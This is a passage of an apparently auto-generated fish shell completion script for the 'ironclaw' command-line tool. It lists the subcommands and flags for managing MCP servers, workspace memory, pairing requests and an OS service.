complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -f -a "toggle" -d 'Enable or disable an MCP server'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from add" -l client-id -d 'OAuth client ID (if authentication is required)' -r
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from add" -l auth-url -d 'OAuth authorization URL (optional, can be discovered)' -r
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from add" -l token-url -d 'OAuth token URL (optional, can be discovered)' -r
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from add" -l scopes -d 'Scopes to request (comma-separated)' -r
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from add" -l description -d 'Server description' -r
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from add" -s m -l message -d 'Single message mode - send one message and exit' -r
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from add" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from add" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from add" -l no-db -d 'Skip database connection (for testing)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from add" -l no-onboard -d 'Skip first-run onboarding check'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from add" -s h -l help -d 'Print help'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from remove" -s m -l message -d 'Single message mode - send one message and exit' -r
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from remove" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from remove" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from remove" -l no-db -d 'Skip database connection (for testing)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from remove" -l no-onboard -d 'Skip first-run onboarding check'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from remove" -s h -l help -d 'Print help'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from list" -s m -l message -d 'Single message mode - send one message and exit' -r
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from list" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from list" -s v -l verbose -d 'Show detailed information'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from list" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from list" -l no-db -d 'Skip database connection (for testing)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from list" -l no-onboard -d 'Skip first-run onboarding check'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from list" -s h -l help -d 'Print help'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from auth" -s u -l user -d 'User ID for storing the token (default: "default")' -r
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from auth" -s m -l message -d 'Single message mode - send one message and exit' -r
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from auth" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from auth" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from auth" -l no-db -d 'Skip database connection (for testing)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from auth" -l no-onboard -d 'Skip first-run onboarding check'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from auth" -s h -l help -d 'Print help'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from test" -s u -l user -d 'User ID for authentication (default: "default")' -r
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from test" -s m -l message -d 'Single message mode - send one message and exit' -r
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from test" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from test" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from test" -l no-db -d 'Skip database connection (for testing)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from test" -l no-onboard -d 'Skip first-run onboarding check'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from test" -s h -l help -d 'Print help'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from toggle" -s m -l message -d 'Single message mode - send one message and exit' -r
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from toggle" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from toggle" -l enable -d 'Enable the server'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from toggle" -l disable -d 'Disable the server'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from toggle" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from toggle" -l no-db -d 'Skip database connection (for testing)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from toggle" -l no-onboard -d 'Skip first-run onboarding check'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from toggle" -s h -l help -d 'Print help'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from help" -f -a "add" -d 'Add an MCP server'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from help" -f -a "remove" -d 'Remove an MCP server'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from help" -f -a "list" -d 'List configured MCP servers'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from help" -f -a "auth" -d 'Authenticate with an MCP server (OAuth flow)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from help" -f -a "test" -d 'Test connection to an MCP server'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from help" -f -a "toggle" -d 'Enable or disable an MCP server'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and not __fish_seen_subcommand_from search read write tree status help" -s m -l message -d 'Single message mode - send one message and exit' -r
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and not __fish_seen_subcommand_from search read write tree status help" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and not __fish_seen_subcommand_from search read write tree status help" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and not __fish_seen_subcommand_from search read write tree status help" -l no-db -d 'Skip database connection (for testing)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and not __fish_seen_subcommand_from search read write tree status help" -l no-onboard -d 'Skip first-run onboarding check'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and not __fish_seen_subcommand_from search read write tree status help" -s h -l help -d 'Print help'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and not __fish_seen_subcommand_from search read write tree status help" -f -a "search" -d 'Search workspace memory (hybrid full-text + semantic)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and not __fish_seen_subcommand_from search read write tree status help" -f -a "read" -d 'Read a file from the workspace'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and not __fish_seen_subcommand_from search read write tree status help" -f -a "write" -d 'Write content to a workspace file'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and not __fish_seen_subcommand_from search read write tree status help" -f -a "tree" -d 'Show workspace directory tree'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and not __fish_seen_subcommand_from search read write tree status help" -f -a "status" -d 'Show workspace status (document count, index health)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and not __fish_seen_subcommand_from search read write tree status help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from search" -s l -l limit -d 'Maximum number of results' -r
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from search" -s m -l message -d 'Single message mode - send one message and exit' -r
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from search" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from search" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from search" -l no-db -d 'Skip database connection (for testing)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from search" -l no-onboard -d 'Skip first-run onboarding check'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from search" -s h -l help -d 'Print help'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from read" -s m -l message -d 'Single message mode - send one message and exit' -r
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from read" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from read" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from read" -l no-db -d 'Skip database connection (for testing)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from read" -l no-onboard -d 'Skip first-run onboarding check'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from read" -s h -l help -d 'Print help'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from write" -s m -l message -d 'Single message mode - send one message and exit' -r
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from write" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from write" -s a -l append -d 'Append instead of overwrite'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from write" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from write" -l no-db -d 'Skip database connection (for testing)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from write" -l no-onboard -d 'Skip first-run onboarding check'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from write" -s h -l help -d 'Print help'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from tree" -s d -l depth -d 'Maximum depth to traverse' -r
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from tree" -s m -l message -d 'Single message mode - send one message and exit' -r
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from tree" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from tree" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from tree" -l no-db -d 'Skip database connection (for testing)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from tree" -l no-onboard -d 'Skip first-run onboarding check'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from tree" -s h -l help -d 'Print help'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from status" -s m -l message -d 'Single message mode - send one message and exit' -r
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from status" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from status" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from status" -l no-db -d 'Skip database connection (for testing)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from status" -l no-onboard -d 'Skip first-run onboarding check'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from status" -s h -l help -d 'Print help'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from help" -f -a "search" -d 'Search workspace memory (hybrid full-text + semantic)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from help" -f -a "read" -d 'Read a file from the workspace'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from help" -f -a "write" -d 'Write content to a workspace file'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from help" -f -a "tree" -d 'Show workspace directory tree'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from help" -f -a "status" -d 'Show workspace status (document count, index health)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and not __fish_seen_subcommand_from list approve help" -s m -l message -d 'Single message mode - send one message and exit' -r
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and not __fish_seen_subcommand_from list approve help" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and not __fish_seen_subcommand_from list approve help" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and not __fish_seen_subcommand_from list approve help" -l no-db -d 'Skip database connection (for testing)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and not __fish_seen_subcommand_from list approve help" -l no-onboard -d 'Skip first-run onboarding check'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and not __fish_seen_subcommand_from list approve help" -s h -l help -d 'Print help'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and not __fish_seen_subcommand_from list approve help" -f -a "list" -d 'List pending pairing requests'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and not __fish_seen_subcommand_from list approve help" -f -a "approve" -d 'Approve a pairing request by code'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and not __fish_seen_subcommand_from list approve help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from list" -s m -l message -d 'Single message mode - send one message and exit' -r
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from list" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from list" -l json -d 'Output as JSON'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from list" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from list" -l no-db -d 'Skip database connection (for testing)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from list" -l no-onboard -d 'Skip first-run onboarding check'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from list" -s h -l help -d 'Print help'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from approve" -s m -l message -d 'Single message mode - send one message and exit' -r
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from approve" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from approve" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from approve" -l no-db -d 'Skip database connection (for testing)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from approve" -l no-onboard -d 'Skip first-run onboarding check'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from approve" -s h -l help -d 'Print help'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from help" -f -a "list" -d 'List pending pairing requests'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from help" -f -a "approve" -d 'Approve a pairing request by code'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and not __fish_seen_subcommand_from install start stop status uninstall help" -s m -l message -d 'Single message mode - send one message and exit' -r
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and not __fish_seen_subcommand_from install start stop status uninstall help" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and not __fish_seen_subcommand_from install start stop status uninstall help" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and not __fish_seen_subcommand_from install start stop status uninstall help" -l no-db -d 'Skip database connection (for testing)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and not __fish_seen_subcommand_from install start stop status uninstall help" -l no-onboard -d 'Skip first-run onboarding check'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and not __fish_seen_subcommand_from install start stop status uninstall help" -s h -l help -d 'Print help'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and not __fish_seen_subcommand_from install start stop status uninstall help" -f -a "install" -d 'Install the OS service (launchd on macOS, systemd on Linux)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and not __fish_seen_subcommand_from install start stop status uninstall help" -f -a "start" -d 'Start the installed service'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and not __fish_seen_subcommand_from install start stop status uninstall help" -f -a "stop" -d 'Stop the running service'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and not __fish_seen_subcommand_from install start stop status uninstall help" -f -a "status" -d 'Show service status'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and not __fish_seen_subcommand_from install start stop status uninstall help" -f -a "uninstall" -d 'Uninstall the OS service and remove the unit file'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and not __fish_seen_subcommand_from install start stop status uninstall help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from install" -s m -l message -d 'Single message mode - send one message and exit' -r
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from install" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from install" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from install" -l no-db -d 'Skip database connection (for testing)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from install" -l no-onboard -d 'Skip first-run onboarding check'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from install" -s h -l help -d 'Print help'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from start" -s m -l message -d 'Single message mode - send one message and exit' -r
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from start" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from start" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from start" -l no-db -d 'Skip database connection (for testing)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from start" -l no-onboard -d 'Skip first-run onboarding check'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from start" -s h -l help -d 'Print help'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from stop" -s m -l message -d 'Single message mode - send one message and exit' -r
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from stop" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from stop" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from stop" -l no-db -d 'Skip database connection (for testing)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from stop" -l no-onboard -d 'Skip first-run onboarding check'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from stop" -s h -l help -d 'Print help'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from status" -s m -l message -d 'Single message mode - send one message and exit' -r
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from status" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from status" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from status" -l no-db -d 'Skip database connection (for testing)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from status" -l no-onboard -d 'Skip first-run onboarding check'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from status" -s h -l help -d 'Print help'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from uninstall" -s m -l message -d 'Single message mode - send one message and exit' -r
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from uninstall" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from uninstall" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from uninstall" -l no-db -d 'Skip database connection (for testing)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from uninstall" -l no-onboard -d 'Skip first-run onboarding check'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from uninstall" -s h -l help -d 'Print help'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from help" -f -a "install" -d 'Install the OS service (launchd on macOS, systemd on Linux)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from help" -f -a "start" -d 'Start the installed service'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from help" -f -a "stop" -d 'Stop the running service'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from help" -f -a "status" -d 'Show service status'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from help" -f -a "uninstall" -d 'Uninstall the OS service and remove the unit file'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand doctor" -s m -l message -d 'Single message mode - send one message and exit' -r
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand doctor" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand doctor" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand doctor" -l no-db -d 'Skip database connection (for testing)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand doctor" -l no-onboard -d 'Skip first-run onboarding check'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand doctor" -s h -l help -d 'Print help'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand status" -s m -l message -d 'Single message mode - send one message and exit' -r
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand status" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand status" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand status" -l no-db -d 'Skip database connection (for testing)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand status" -l no-onboard -d 'Skip first-run onboarding check'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand status" -s h -l help -d 'Print help'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand completion" -l shell -d 'The shell to generate completions for' -r -f -a "bash\t''
|
||||
zsh\t''
|
||||
